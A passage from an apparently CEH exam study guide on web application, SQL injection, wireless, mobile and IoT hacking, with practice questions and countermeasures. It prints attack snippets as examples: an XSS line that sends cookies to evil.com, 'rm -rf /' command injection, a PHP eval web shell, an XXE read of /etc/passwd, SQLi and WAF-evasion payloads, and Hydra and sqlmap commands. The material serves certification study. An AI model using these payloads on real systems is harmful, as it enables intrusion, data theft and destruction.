- The exact order and phase names may appear on the exam.

Practice Question:

According to CEH, which step comes immediately after analyzing the web application's structure?

- A) Bypass client-side controls
- B) Attack session management
- C) Perform SQL injection
- D) Attack authentication

Answer: A -- The sequence is: footprint, analyze, bypass client-side, then attack authentication.

Footprint Web Infrastructure

Core Concept: Discover servers, load balancers, web server software, technology stack, and hidden content. Includes domain lookups, WHOIS, DNS enumeration, and identifying other apps on the same server.

Key Tools: dnsrecon, Sublist3r, theHarvester, Shodan, Nmap (`--script http-enum`), WhatWeb.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Discovering virtual hosts via DNS.
- Using SHODAN to find web servers by banner.

Practice Question:

A pen tester uses `dnsrecon -d target.com -t axfr` and gets a list of all subdomains. This succeeded because:

- A) SMTP VRFY was enabled
- B) The web server had directory listing
- C) The DNS server allowed zone transfer
- D) SNMP was open

Answer: C -- Zone transfer (AXFR) provides full DNS records.

Analyze Web Applications

Core Concept: Examine the application's structure, parameters, hidden fields, cookies, and API endpoints. Identify data entry points and logic. This phase maps the attack surface.

Key Tools: Burp Suite Spider, OWASP ZAP Spider, Dirbuster/gobuster, developer tools (F12), Wfuzz.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Spidering vs. directory brute-forcing.
- Robots.txt may list disallowed directories.

Practice Question:

An attacker finds that changing the hidden field `price=100` to `price=1` allows purchasing an item for \$1. What web app flaw is this?

- A) XSS
- B) Parameter tampering
- C) CSRF
- D) SQL injection

Answer: B -- Altering a parameter (hidden field) that the server trusts is parameter tampering.

Bypass Client-Side Controls

Core Concept: Client-side controls (JavaScript validation, disabled submit buttons, input length limits) can be easily bypassed by disabling JavaScript, using a proxy to modify requests, or sending direct HTTP requests. Never trust client-side security.

Key Tools: Burp Suite Proxy (Intercept and modify), browser dev tools, curl or Python requests.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Any client-side validation can be bypassed; server-side validation is mandatory.

Practice Question:

A web app uses JavaScript to validate that an email field contains '@'. How can an attacker bypass this?

- A) CSRF
- B) SQL injection
- C) XSS
- D) Disable JavaScript and send the request with a proxy

Answer: D -- Removing client-side checks allows sending malicious input directly to the server.

Attack Authentication Mechanism

Core Concept: Attacks include brute-force, credential stuffing, bypassing authentication via SQL injection, exploiting "Remember Me" features, and abusing weak password reset functionality.

Key Tools:

- Hydra: `hydra -L users.txt -P pass.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"`
- Burp Intruder (pitchfork attack)

- SQLi login bypass: `admin' --`

Port Numbers & Protocols: N/A

Common Pitfalls:

- EC-Council tests default credentials for various devices.
- Password reset weakness (security questions).
- Countermeasure: Multi-factor authentication, account lockout, CAPTCHA, and secure password recovery.

Practice Question:

An attacker uses the username `admin' --` and a blank password on a login form, gaining access. Which attack?

- A) SQL injection authentication bypass
- B) Brute force
- C) Session hijacking
- D) XSS

Answer: A -- The input comments out the rest of the SQL query, bypassing password check.

Attack Authorization Schemes

Core Concept: Authorization controls what an authenticated user can do. Flaws include Insecure Direct Object References (IDOR), missing function-level access control, and privilege escalation. Attackers access other users' data or admin functions.

Key Tools: Burp Suite Repeater, Dirbuster, authorization testing with low-privilege requests.

Port Numbers & Protocols: N/A

Common Pitfalls:

- IDOR is a classic test topic.
- Horizontal vs vertical privilege escalation.

- Countermeasure: Access control checks on server side for every request, use random and unpredictable IDs, implement role-based access.

Practice Question:

After logging in as a regular user, an attacker changes the URL from `/profile/123` to `/profile/124` and sees another user's profile. This indicates:

- A) Broken authentication
- B) SQL injection
- C) CSRF
- D) Insecure Direct Object Reference

Answer: D -- Direct reference to object with no authorization check.

Attack Access Controls

Core Concept: Access control enforces authorization. Weaknesses allow unauthorized access to functionality or data. Includes forced browsing (accessing pages without links) and parameter manipulation to elevate privileges.

Key Tools: Dirbuster, gobuster (`gobuster dir -u http://target.com -w wordlist.txt`), Burp Sequencer, curl.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Forced browsing is a form of broken access control.
- Countermeasure: Proper authentication for all sensitive pages, not hiding them.

Practice Question:

A web application has no link to the admin page, but the developer left the page accessible at `/admin.php`. An attacker discovers it via directory brute-force. This is:

- A) Session hijacking
- B) SQLi
- C) Phishing

- D) Forced browsing

Answer: D -- Discovering and accessing hidden pages without authorization.

Attack Session Management Mechanism

Core Concept: Session management handles user state. Attacks: session hijacking, session fixation, weak session ID generation, and improper session termination. Attackers exploit these to impersonate users.

Key Tools: Burp Sequencer (randomness analysis), Cookie Editor, Ferret/Hamster, OWASP ZAP.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Session ID must be long, random, and transmitted over HTTPS.
- Regenerate after login.
- Countermeasure: Use framework's session management, set cookie flags (HttpOnly, Secure, SameSite).

Practice Question:

A banking app uses a session cookie with value "user=John; sessionid=12345". The attacker changes sessionid to 12346 and becomes another user. What is the flaw?

- A) SQL injection
- B) CSRF
- C) XSS
- D) Weak session ID generation (predictable)

Answer: D -- Predictable session IDs allow attacker to assume other sessions.

Perform Injection/Input Validation Attacks

Core Concept: Injection attacks exploit flawed input handling to execute unintended commands. Includes SQL, OS command, LDAP, XML, XPath, and Server-Side Template Injection (SSTI). The attacker injects malicious syntax into an interpreter.

Key Tools: SQLMap (SQLi), Commix (command injection), Burp Intruder (fuzzing).

Port Numbers & Protocols: N/A

Common Pitfalls:

- Command injection: using `;`, `|`, `&&`.
- SQL injection: `' OR 1=1 --`.
- LDAP injection: `* or admin)(&`.
- Countermeasure: Use parameterized queries, input validation, escape special characters, least privilege for interpreter.

Practice Question:

A web app has a search form that runs a system command `grep -i user_input file`. An attacker inputs `; rm -rf /`. What attack?

- A) File inclusion
- B) SQL injection
- C) OS command injection
- D) XSS

Answer: C -- The semicolon allows execution of an additional command.

Attack Application Logic Flaws

Core Concept: Logic flaws are errors in the workflow, such as purchasing items with negative quantity, bypassing payment steps, or performing actions out of intended order. These are hard to automate.

Key Tools: Burp Suite to tamper with sequence and data, manual testing with creative thinking.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Logic flaws require understanding business processes.
- Countermeasure: Validate business rules on server, implement stateful workflows, prevent users from skipping steps.

Practice Question:

A travel booking site allows a user to book a flight, then change the passenger name after payment. An attacker books a cheap ticket, then changes the name to a different flight. This is an example of:

- A) XSS
- B) Application logic flaw
- C) SQL injection
- D) CSRF

Answer: B -- The logic flaw allows modification after payment in a way that violates business rules.

Attack Shared Environments

Core Concept: In shared hosting, multiple websites reside on one server. Attackers compromise one site and then escalate to other sites or the server itself. Vulnerability: weak isolation, shared databases, same IP.

Key Tools: Web shell (c99, r57), Metasploit privilege escalation, Cpanel brute-force.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Shared hosting risks: other tenant's insecurity becomes your risk.
- Countermeasure: Use VPS or dedicated server, proper file permissions, and containerization.

Practice Question:

A website hosted on shared hosting is defaced. The attacker uploaded a shell via a vulnerability in another site on the same server. This is possible because of:

- A) Insufficient isolation in shared hosting
- B) SQL injection
- C) Cross-site scripting
- D) DNS poisoning

Answer: A -- The shared environment allowed cross-site contamination.

Attack Database Connectivity

Core Concept: Web apps connect to databases using connection strings. Attackers target database server credentials, weak connection encryption, or unprotected connection files. Obtaining DB credentials leads to data breach.

Key Tools: SQLMap, Netcat (banner grab database: MySQL 3306), Nmap (`nmap -sV -p 3306 target`), Metasploit modules.

Port Numbers & Protocols: MySQL 3306, MSSQL 1433, Oracle 1521.

Common Pitfalls:

- Connection string injection possible.
- Countermeasure: Encrypt connection strings, use least privilege DB accounts, restrict DB server access, enable SSL/TLS.

Practice Question:

An attacker obtains the database password from a web.config file exposed via directory traversal. Which attack can now be conducted?

- A) Phishing
- B) Direct database access and data exfiltration
- C) Session hijacking
- D) XSS

Answer: B -- With credentials, direct DB access.

Attack Web App Client

Core Concept: Exploiting vulnerabilities on the client side: Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Clickjacking, HTML injection. These target the user's browser, often via the web app.

Key Tools: XSS payloads: `<script>alert(1)</script>` , Burp Suite, XSSer, BeEF (browser exploitation), CSRF PoC generator in Burp.

Port Numbers & Protocols: N/A

Common Pitfalls:

- **Stored XSS** -- script saved on server, executed by other users
- **Reflected XSS** -- attacker sends a link with malicious script
- **DOM-based XSS** -- script runs in the DOM
- CSRF requires user to be authenticated.
- Countermeasure: Output encoding, Content Security Policy (CSP), anti-CSRF tokens.

Practice Question:

An attacker posts a message on a forum containing `<script>new`

`Image().src='http://evil.com/steal?c='+document.cookie</script>` . All forum visitors lose their session cookies. This is:

- A) Stored XSS
- B) SQL injection
- C) Reflected XSS
- D) CSRF

Answer: A -- The script is stored on the server and executed for every visitor.

Attack Web Services

Core Concept: Web services (SOAP, REST) exchange data between applications.

Vulnerabilities: injection, broken authentication, and XML-related attacks (XXE, XPath injection). Attackers test API endpoints for weaknesses.

Key Tools: Postman, Burp Suite, SoapUI, WSDL analysis, Nmap script: `http-soap-methods` .

Port Numbers & Protocols: SOAP uses XML; REST uses JSON. WSDL describes SOAP services.

Common Pitfalls:

- SOAP uses XML, REST uses JSON.
- UDDI is the discovery protocol.
- Countermeasure: validate all API inputs, use OAuth for authentication, encrypt API keys.

Practice Question:

A web service uses SOAP and accepts XML input. An attacker includes `<!ENTITY xxe SYSTEM "file:///etc/passwd">` and gets the file contents. This is:

- A) XSS
- B) XXE injection
- C) SQL injection
- D) CSRF

Answer: B -- XXE reads local files via external entity.

Web API, Webhooks, and Web Shell

Core Concept: Web APIs (RESTful) expose functionality; attackers exploit insecure endpoints. Webhooks allow real-time data push; can be spoofed. A web shell is a malicious script uploaded to a server for remote command execution.

Key Tools: Postman, curl, Gobuster (API endpoint discovery). Common web shells: c99, r57, Weeveily (`weeveily generate password shell.php`).

Port Numbers & Protocols: N/A

Common Pitfalls:

- Web shell detection by looking for suspicious PHP/ASPX files.

- Countermeasure: Restrict file upload types, scan uploaded files with AV, use WAF to detect shell commands.

Practice Question:

A defender finds a file `images.php` in the uploads folder containing `<?php eval(base64_decode($_POST['cmd'])); ?>` . What is this file?

- A) Legitimate image processor
- B) API endpoint
- C) Database connector
- D) A web shell

Answer: D -- The code executes arbitrary commands sent via POST, a typical web shell.

Web App Security

Core Concept: Securing web apps involves secure coding, regular testing, patching, deploying WAF, and implementing security headers (CSP, HSTS). Defenses target each vulnerability class.

Key Tools: ModSecurity (WAF), SonarQube (SAST), OWASP ZAP (DAST). Security headers:

`X-Content-Type-Options: nosniff` , `Content-Security-Policy` .

Port Numbers & Protocols: N/A

Common Pitfalls:

- Input validation is the most important defense.
- Output encoding prevents XSS.
- The secure flag in cookies is critical.

Practice Question:

Which HTTP response header instructs the browser to only communicate over HTTPS?

- A) Strict-Transport-Security
- B) Content-Security-Policy

- C) X-Frame-Options
- D) Cache-Control

Answer: A -- HSTS enforces HTTPS.

Sub-Domain: SQL Injection

SQL Injection Concepts

Core Concept: SQL injection (SQLi) injects malicious SQL code into a query to manipulate the database. Results: bypass authentication, extract data, alter data, or execute OS commands (in some DBs). It is the most critical web vulnerability.

Key Tools: SQLMap (`sqlmap -u "http://target/page?id=1" --dbs`), manual testing with single quote (`'`), Burp Suite, Havij.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Error-based, union-based, blind (boolean/time) are main types.
- Countermeasure: Parameterized queries (prepared statements), stored procedures, input validation, least privilege DB account.

Practice Question:

An attacker inputs `' OR 1=1 --` into a login form and gains access. What SQLi technique?

- A) Error-based
- B) Authentication bypass via true condition
- C) Blind SQLi
- D) Union-based

Answer: B -- The injected condition is always true, bypassing authentication.

Types of SQL Injection

Core Concept:

- **In-band SQLi** (data returned in same channel): error-based and union-based
- **Blind SQLi** (no data in response): boolean-based and time-based
- **Out-of-band SQLi** (different channel) uses DNS or HTTP requests

Key Tools: SQLMap with `--technique` flag (B: Boolean, E: Error, U: Union, S: Stacked, T: Time). Manual payloads: `' UNION SELECT 1,2,3--` . Time-based: `' WAITFOR DELAY '0:0:5'--` (MSSQL).

Port Numbers & Protocols: N/A

Common Pitfalls:

- Blind SQLi is slower but effective when no errors or union data visible.
- Time-based uses `SLEEP()` in MySQL, `pg_sleep()` in PostgreSQL, `WAITFOR DELAY` in MSSQL.
- Countermeasure: proper error handling (generic error page), WAF.

Practice Question:

A web app does not show any database output, but an attacker injects `' AND (SELECT IF(1=1, SLEEP(5), 0))--` and the response is delayed. This is:

- A) Time-based blind SQLi
- B) Boolean blind SQLi
- C) Union-based SQLi
- D) Error-based SQLi

Answer: A -- The delay indicates successful injection.

SQL Injection Methodology

Core Concept: Systematic approach: (1) Identify injectable parameters, (2) Determine database type, (3) Test injection with various techniques, (4) Extract data (enumerate tables, columns), (5) Extract data rows, (6) Possibly pivot to OS commands.

Key Tools: SQLMap (automation), Burp Repeater, `ORDER BY` to find column count, `information_schema` in MySQL/MSSQL.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Using `ORDER BY` to determine column count.
- UNION SELECT needs same number of columns.
- Countermeasure: Disable detailed error messages, use whitelist input validation, parameterized queries.

Practice Question:

An attacker uses `?id=1 ORDER BY 10--` and gets an error, but `?id=1 ORDER BY 5--` works normally. What is concluded?

- A) The query uses 5 columns
- B) The injection is blind
- C) The database is Oracle
- D) The server is Windows

Answer: A -- `ORDER BY` fails when the number is higher than the column count.

SQL Injection Tools

Core Concept: SQLMap is the most popular automated tool; supports many DBs and techniques. Other tools: jSQL Injection (GUI), NoSQLMap (for NoSQL), BBQSQL (blind), and Burp Suite.

Key Tools:

- SQLMap: `sqlmap -u target --current-db , --dbs , --tables , --columns , --dump`
- jSQL: Java GUI
- Havij (old GUI)
- Mole (GUI)

Port Numbers & Protocols: N/A

Common Pitfalls:

- SQLMap can execute OS commands via `--os-shell` if DB user has appropriate privileges.
- `--os-pwn` for out-of-band shell.
- WAFs can block SQLMap's default user-agent; change with `--user-agent`.

Practice Question:

A penetration tester wants to retrieve all databases from a MySQL server using SQLMap. Which command?

- A) `sqlmap -u target --passwords`
- B) `sqlmap -u target --dbs`
- C) `sqlmap -u target --tables`
- D) `sqlmap -u target --os-shell`

Answer: B `--dbs` enumerates databases.

Evasion Techniques

Core Concept: Bypass WAFs and filters by using encoding (URL, hex, char), comments, case variation, buffer overflow in payload, alternative syntax, and splitting. SQLMap has tamper scripts.

Key Tools:

- SQLMap tamper scripts: `--tamper=between,space2comment,charencode`
- Manual: `SELECT * FROM users WHERE id=1 UNION%a0SELECT 1,2`
- Hex: `0x61646d696e` for 'admin'

Port Numbers & Protocols: N/A

Common Pitfalls:

- Common evasion: URL encoding (`%27` for `'`), double encoding, null byte (`%00`).
- Countermeasure: Normalize input before validation, use positive security model (allow only known good).

Practice Question:

A WAF blocks requests containing "UNION SELECT". An attacker bypasses it using

`/*!50000UNION*/ SELECT`. This works because:

- A) It triggers a buffer overflow
- B) It uses encoding
- C) It is a comment syntax that MySQL executes as SQL
- D) It changes case

Answer: C -- `/*!...*/` is a MySQL conditional comment executed by the database.

SQL Injection Countermeasures

Core Concept: Use parameterized queries (prepared statements) to separate code from data. Stored procedures with strict parameterization. Whitelist input validation, escape special characters, least privilege DB accounts, disable detailed error messages, use WAF.

Key Tools: ModSecurity with SQLi rules, ORM frameworks, database permission restrictions.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Parameterized queries are the gold standard.
- Input validation alone is not enough (because sometimes special characters are needed).
- Escape functions like `mysql_real_escape_string` can be bypassed, so prepared statements are better.

Practice Question:

Which defense completely prevents SQL injection by ensuring user input is never interpreted as SQL?

- A) HTTPS
- B) Parameterized queries
- C) Output encoding

- D) Input validation blacklist

Answer: B -- Parameterized queries (prepared statements) separate code from data.

Domain 6: Wireless Network Hacking

Sub-Domain: Hacking Wireless Networks

Wireless Concepts

Key Facts:

- **802.11 standards:** a (5 GHz, 54 Mbps), b (2.4 GHz, 11 Mbps), g (2.4 GHz, 54 Mbps), n (dual-band, MIMO), ac (5 GHz, Gigabit), ax (Wi-Fi 6).
- **Wireless NIC modes:** Managed (client), Master (AP), Ad-hoc, Monitor (packet capture).
- **SSID** identifies the network; can be hidden but still discoverable.
- **Basic Service Set (BSS)** is one AP; **Extended Service Set (ESS)** is multiple APs sharing same SSID.
- **Channels:** 2.4 GHz has 14 channels (1-11 in US), overlapping; 5 GHz has more non-overlapping channels.

Common Pitfalls:

- Hidden SSID is not a security measure; the SSID is still transmitted in probe requests/responses and can be captured.
- MAC filtering is easily bypassed via spoofing.

Practice Question:

Which 802.11 standard operates exclusively in the 5 GHz band and supports up to 1 Gbps?

- A) 802.11ac
- B) 802.11n
- C) 802.11b
- D) 802.11g

Answer: A -- 802.11ac operates only in the 5 GHz band and supports gigabit+ speeds. (B: 802.11n works in both 2.4 GHz and 5 GHz and tops out around 600 Mbps; C and D: 802.11b/g operate only in 2.4 GHz.)

Wireless Encryption

Key Facts:

- **WEP:** RC4, weak IVs (24-bit), easily cracked (`aircrack-ng` collects IVs).
- **WPA:** TKIP with RC4, improves on WEP but vulnerable to dictionary attacks on PSK (crack with `airolib-ng`).
- **WPA2:** CCMP/AES, strong; vulnerability in WPS (PIN brute-force) and handshake capture + dictionary.
- **WPA3:** SAE (Simultaneous Authentication of Equals), protects against offline dictionary attacks.
- **EAP types for enterprise:** PEAP, EAP-TLS (certificate-based).

Common Pitfalls:

- WPA2 is secure, but WPS PIN (8 digits, last digit is checksum) can be cracked in hours via brute-force using tools like Reaver.

Practice Question:

A wireless network uses AES encryption and requires a pre-shared key. This is:

- A) WPA2-Personal
- B) WEP
- C) WPA2-Enterprise
- D) WPA

Answer: A -- WPA2-Personal uses AES/CCMP encryption with a pre-shared key (PSK) for authentication. (B: WEP uses RC4, not AES; C: WPA2-Enterprise uses 802.1X/RADIUS authentication, not a pre-shared key; D: WPA primarily uses TKIP, not AES.)

Wireless Threats

Key Facts:

- **Rogue AP:** unauthorized AP connected to network, can be used for MITM.
- **Evil twin:** fake AP with same SSID to lure users.
- **Jamming:** DoS by flooding RF with noise.
- **Wardriving:** searching for Wi-Fi networks while moving.
- **Bluejacking:** sending unsolicited messages to Bluetooth devices.

Common Pitfalls:

- Evil twin attack does not require physical connection to the network; it just mimics the SSID to capture credentials.

Practice Question:

An attacker sets up an AP broadcasting the same SSID as a coffee shop's free Wi-Fi. Users connect and enter passwords which are captured. This is a:

- A) Rogue AP
- B) Wardriving
- C) Jamming
- D) Evil twin

Answer: D -- An evil twin is a fake AP mimicking a legitimate SSID to lure users and capture credentials. (A: a rogue AP is any unauthorized AP connected to the network, not necessarily impersonating another; B: wardriving is searching for networks while moving; C: jamming is denial-of-service via RF interference.)

Wireless Hacking Methodology

Key Facts:

1. **Discover wireless networks:** NetStumbler, Kismet.
2. **Gain access:** crack encryption (WEP, WPA) or exploit WPS.
3. **Once connected:** perform network scanning and attacks.
4. **WEP cracking:** collect enough IVs (`aircrack-ng`).

5. **WPA cracking:** capture 4-way handshake, then dictionary/brute-force with `aircrack-ng`.

Common Pitfalls:

- The 4-way handshake capture does not require disconnecting; but `aireplay-ng --deauth` can force a client to reconnect and capture handshake faster.

Practice Question:

To crack WEP, an attacker needs to capture a large number of:

- A) Beacon frames
- B) Data packets with weak initialization vectors
- C) SSIDs
- D) ACKs

Answer: B -- WEP's RC4 implementation reuses a small (24-bit) IV space; capturing enough IVs lets tools like aircrack-ng statistically recover the key. (A, C, D: beacon frames, SSIDs, and ACKs don't contain the IV data needed for the attack.)

Wireless Hacking Tools

Key Facts:

- **Aircrack-ng suite:** `airmon-ng` (monitor mode), `airodump-ng` (capture), `aireplay-ng` (inject), `aircrack-ng` (crack).
- **Kismet:** wireless network detector, sniffer, and IDS.
- **NetStumbler:** Windows, discovers networks (only for active, not monitor mode).
- **Reaver:** brute-forces WPS PIN.
- **Wifite:** automated tool for wireless attacks.

Common Pitfalls:

- `airmon-ng` puts card into monitor mode (e.g., `airmon-ng start wlan0`). If the card does not support monitor mode, many tools will not work.

Practice Question:

Which tool is specifically used to brute-force the WPS PIN?

- A) Wireshark
- B) Nmap
- C) Aircrack-ng
- D) Reaver

Answer: D -- Reaver is purpose-built to brute-force the WPS PIN. (A: Wireshark is a packet analyzer; B: Nmap is a port/network scanner; C: Aircrack-ng cracks WEP/WPA keys but doesn't brute-force WPS PINs.)

Bluetooth Hacking

Key Facts:

- Bluetooth operates at 2.4 GHz, range 10-100m depending on class.
- **Bluejacking**: sending unsolicited messages.
- **Bluesnarfing**: unauthorized access to device data (contacts, calendar).
- **Bluebugging**: taking control of device to make calls, send messages.
- **Tools**: hcitool, btscanner, BlueSmack (DoS).

Common Pitfalls:

- Bluesnarfing steals data; Bluebugging gives full control.

Practice Question:

An attacker connects to a phone and remotely makes calls without the owner's knowledge. This is:

- A) Bluebugging
- B) Bluesnarfing
- C) Bluejacking
- D) Bluecasing

Answer: A -- Bluebugging gives an attacker remote control of a device's functions (like placing calls) without the owner's knowledge. (B: bluesnarfing is unauthorized theft of data such as contacts or messages; C: bluejacking is sending unsolicited

messages/files, not gaining control; D: bluecasing isn't a standard, widely used term, included here as a distractor.)

Wireless Attack Countermeasures

Key Facts:

- Use WPA2/WPA3-Enterprise with strong passwords, disable WPS.
- Use 802.1X with RADIUS for authentication.
- Disabling SSID broadcast is not effective; instead use strong encryption.
- Enable wireless IDS/IPS to detect rogue APs.
- Keep AP firmware updated and change default credentials.

Common Pitfalls:

- Disabling SSID broadcast does not prevent hackers from discovering the network; it just does not appear in beacon frames but probe responses still reveal it.

Practice Question:

Which is the most effective method to secure a Wi-Fi network?

- A) WPA2/3 with strong passphrase
- B) Use static IPs
- C) MAC filtering
- D) Disable SSID broadcast

Answer: A -- Strong encryption (WPA2/WPA3) with a robust passphrase is the primary defense. (B: static IPs don't affect wireless security; C: MAC filtering is trivially bypassed via spoofing; D: hiding the SSID doesn't stop it from being seen in probe requests.)

Wireless Security Tools

Key Facts:

- Kismet can be used as wireless IDS to detect attacks.
- AirDefense (commercial) monitors for rogue devices.
- Wireshark with appropriate drivers can capture wireless frames.
- Aruba Networks, Cisco CleanAir for RF management.
- AirMagnet for spectrum analysis.

Common Pitfalls:

- A wireless intrusion prevention system (WIPS) can automatically block rogue APs by sending deauthentication frames.

Practice Question:

Which tool can be used to detect and locate rogue access points?

- A) Hydra
- B) Aircrack-ng
- C) Kismet
- D) Nmap

Answer: C -- Kismet is a wireless network detector and intrusion detection tool that can identify rogue APs. (A: Hydra is a password-cracking tool; B: Aircrack-ng cracks Wi-Fi encryption keys; D: Nmap is a network/port scanner, not built for wireless detection.)

Domain 7: Mobile Platform, IoT, and OT Hacking

Sub-Domain: Hacking Mobile Platforms

Mobile Platform Attack Vectors

Core Concept: Mobile devices are targeted via malicious apps, network-based attacks (rogue Wi-Fi), physical attacks (lost/stolen), and OS vulnerabilities. Attackers seek data theft, surveillance, or credential harvesting.

Key Tools: Malicious APK generators (SPYNote, AndroRAT). Mobile scanning: zANTI (pen testing), Fing.

Port Numbers & Protocols: N/A (common: Wi-Fi, Bluetooth, NFC)

Common Pitfalls:

- The biggest mobile threat is insecure app development and users granting excessive permissions.
- Jailbreaking/rooting removes security controls.

Countermeasures: Mobile Device Management (MDM), app vetting, user education, encryption, and remote wipe.

Practice Question:

An attacker creates a fake banking app and uploads it to a third-party app store. Victims install it and enter credentials. This is an example of:

- A) SIM swapping
- B) Bluebugging
- C) Phishing
- D) Trojan app

Answer: D -- The app masquerades as legitimate but is malicious.

Hacking Android OS

Core Concept: Android is open-source, based on Linux. Attack vectors: malware APKs, rooting, exploiting insecure app components (activities, services), and using ADB (Android Debug Bridge) over network.

Key Tools:

- ADB: `adb shell` for remote shell
- Metasploit: `android/meterpreter/reverse_tcp` payload
- AndroRAT, DroidJack (RATs)
- drozer (security assessment): `dz> run app.package.list`

Port Numbers & Protocols: ADB default port 5555 (TCP).

Common Pitfalls:

- Rooting gives superuser access, bypassing security.
- If ADB is enabled over network, `adb connect IP` gives shell.
- APK reverse engineering with apktool.

Countermeasures: Disable ADB, do not install apps from unknown sources, use Google Play Protect, keep OS updated, and use encryption.

Practice Question:

An attacker uses `adb connect 192.168.1.10` and gets a shell. What must be enabled on the device?

- A) Bluetooth
- B) NFC
- C) USB debugging and network ADB
- D) Wi-Fi only

Answer: C -- ADB over network must be enabled.

Hacking iOS

Core Concept: iOS is closed-source, but jailbreaking removes restrictions. Attacks exploit zero-days, malicious profiles, or use iCloud phishing. Tools like Cydia enable unauthorized apps.

Key Tools: Cydia Impactor to sideload apps, Xcode, Needle framework (assessment), iFunbox for file access.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Jailbreaking types: tethered (requires PC to boot), semi-tethered, untethered (permanent).
- Risk of installing enterprise-signed malicious apps.

Countermeasures: Do not jailbreak, update iOS, use strong passcode, enable Find My iPhone, and use App Store only.

Practice Question:

An employee jailbreaks their iPhone to install unapproved apps. What is the primary security risk?

- A) iCloud backup fails
- B) No 5G
- C) Bypass of iOS security sandbox and app review
- D) Reduced battery life

Answer: C -- Jailbreaking removes security restrictions, making malware installation easier.

Mobile Device Management

Core Concept: MDM provides centralized control over mobile devices: enforce policies, push configurations, encrypt, remote wipe, and require passcodes. It mitigates mobile threats.

Key Tools: Microsoft Intune, VMware Workspace ONE, MobileIron, Jamf (Apple).

Port Numbers & Protocols: N/A

Common Pitfalls:

- BYOD (Bring Your Own Device) policies require containerization (separate work and personal data).
- MDM can enforce separation and data loss prevention.

Countermeasures: Implement MDM with strong authentication, restrict jailbroken/rooted devices, and regular compliance checks.

Practice Question:

An organization allows personal devices but wants to ensure corporate data is isolated and can be remotely wiped without affecting personal data. What solution?

- A) Firewall
- B) MDM with containerization
- C) Antivirus
- D) VPN

Answer: B -- MDM with containerization creates a work profile.

Mobile Security Guidelines and Tools

Core Concept: Guidelines: OWASP Mobile Top 10, NIST standards. Tools: MobSF (static analysis), Frida (dynamic instrumentation), zANTI (network testing), AndroBugs (vulnerability scanner).

Key Tools: MobSF: `mobsf.py upload APK` . Frida: `frida -U -f com.app.name` . zANTI runs on Android.

Port Numbers & Protocols: N/A

Common Pitfalls:

- OWASP Mobile Top 10 includes improper platform usage, insecure data storage, insecure communication, insecure authentication, insufficient cryptography, etc.

Countermeasures: Follow secure coding practices, test apps with static and dynamic analysis, use encrypted storage, and implement certificate pinning.

Practice Question:

A mobile app stores user passwords in plaintext in the shared preferences file. Which OWASP Mobile category does this fall under?

- A) Weak server-side controls
- B) Insecure data storage
- C) Client code quality
- D) Insecure communication

Answer: B -- Plaintext sensitive data storage.

Sub-Domain: IoT and OT Hacking

IoT Concepts

Key Facts:

- **IoT (Internet of Things)** connects physical devices to internet: sensors, wearables, smart appliances.
- Communication protocols: MQTT, CoAP, Zigbee, Z-Wave, BLE.
- IoT architecture: Perception (sensors), Network, Middleware, Application layers.
- Most IoT devices lack security due to limited processing power and default credentials.
- OWASP IoT Top 10 lists vulnerabilities like weak/default passwords, insecure network services.

Common Pitfalls:

- Many IoT devices ship with hardcoded credentials that cannot be changed, making them prime targets for Mirai-like botnets.

Practice Question:

Which protocol is a lightweight publish-subscribe messaging protocol designed for constrained devices?

- A) HTTP
- B) SSH
- C) FTP
- D) MQTT

Answer: D -- MQTT is a lightweight publish-subscribe protocol built for constrained IoT devices and low-bandwidth networks. (A, C: HTTP and FTP are heavier, connection-oriented protocols; B: SSH is a secure remote-access protocol, not a messaging protocol.)

IoT Attacks

Key Facts:

- Firmware extraction and analysis to find backdoors or hardcoded keys.
- Exploiting insecure web interface or API.
- Sniffing unencrypted communication (Zigbee, BLE).
- Side-channel attacks (power analysis) to extract keys.
- Physical tampering (JTAG, UART) to dump firmware.

Common Pitfalls:

- Firmware attacks often involve using tools like binwalk to extract filesystem and find sensitive files (e.g., /etc/shadow).

Practice Question:

An attacker uses a serial interface on an IoT device to access the bootloader and extract firmware. This is:

- A) SQL injection
- B) Physical hardware hacking via JTAG/UART
- C) Phishing

- D) XSS

Answer: B -- Accessing a device's JTAG/UART interface to reach the bootloader and dump firmware is physical hardware hacking. (A, C, D: SQL injection, phishing, and XSS are all remote/software-based attacks, not physical hardware access.)

IoT Hacking Methodology

Key Facts:

1. **Information gathering** -- identify device, services, ports (Nmap, Shodan).
2. **Vulnerability scanning** -- search for known CVEs.
3. **Exploitation** -- web interface attacks, default credentials, or buffer overflow.
4. **Post-exploitation** -- maintain persistence, spread to other devices.

Tools: Shodan, Nmap, Firmwalker, Attify Badge (hardware).

Common Pitfalls:

- Shodan can find exposed IoT devices (e.g., MQTT brokers, cameras) with default credentials.

Practice Question:

A security researcher uses Shodan to search for "port:1883" and finds many open MQTT brokers. This is part of which phase?

- A) Exploitation
- B) Information gathering
- C) Clearing logs
- D) Post-exploitation

Answer: B -- Searching Shodan for exposed services is passive/OSINT-style information gathering before any exploitation occurs. (A, C, D: exploitation, clearing logs, and post-exploitation all happen after a target has been identified and accessed.)

IoT Attack Countermeasures

Key Facts:

- Change default credentials, disable unnecessary services.
- Use strong encryption for communication (TLS for MQTT).
- Regularly update firmware, enable secure boot.
- Network segmentation -- isolate IoT devices on separate VLAN.
- Implement IoT security frameworks (NIST, IoTSF).

Common Pitfalls:

- A common mistake is connecting IoT devices to the main corporate network; instead, use a separate VLAN with strict firewall rules.

Practice Question:

What is the most effective way to prevent an attacker from brute-forcing the password of an IoT device's admin panel?

- A) Change default password and implement account lockout
- B) Use MQTT
- C) Disable Wi-Fi
- D) Hide the device

Answer: A -- Changing default credentials and adding account lockout directly blocks brute-force login attempts. (B: MQTT is unrelated to admin panel authentication; C and D: disabling Wi-Fi or hiding the device don't fix the underlying weak-credential issue and aren't practical.)

OT Concepts

Key Facts:

- **OT (Operational Technology)** controls physical processes: SCADA, ICS, PLCs, DCS.
- Purdue model layers: Enterprise (IT) and Industrial (OT) zones, DMZ in between.
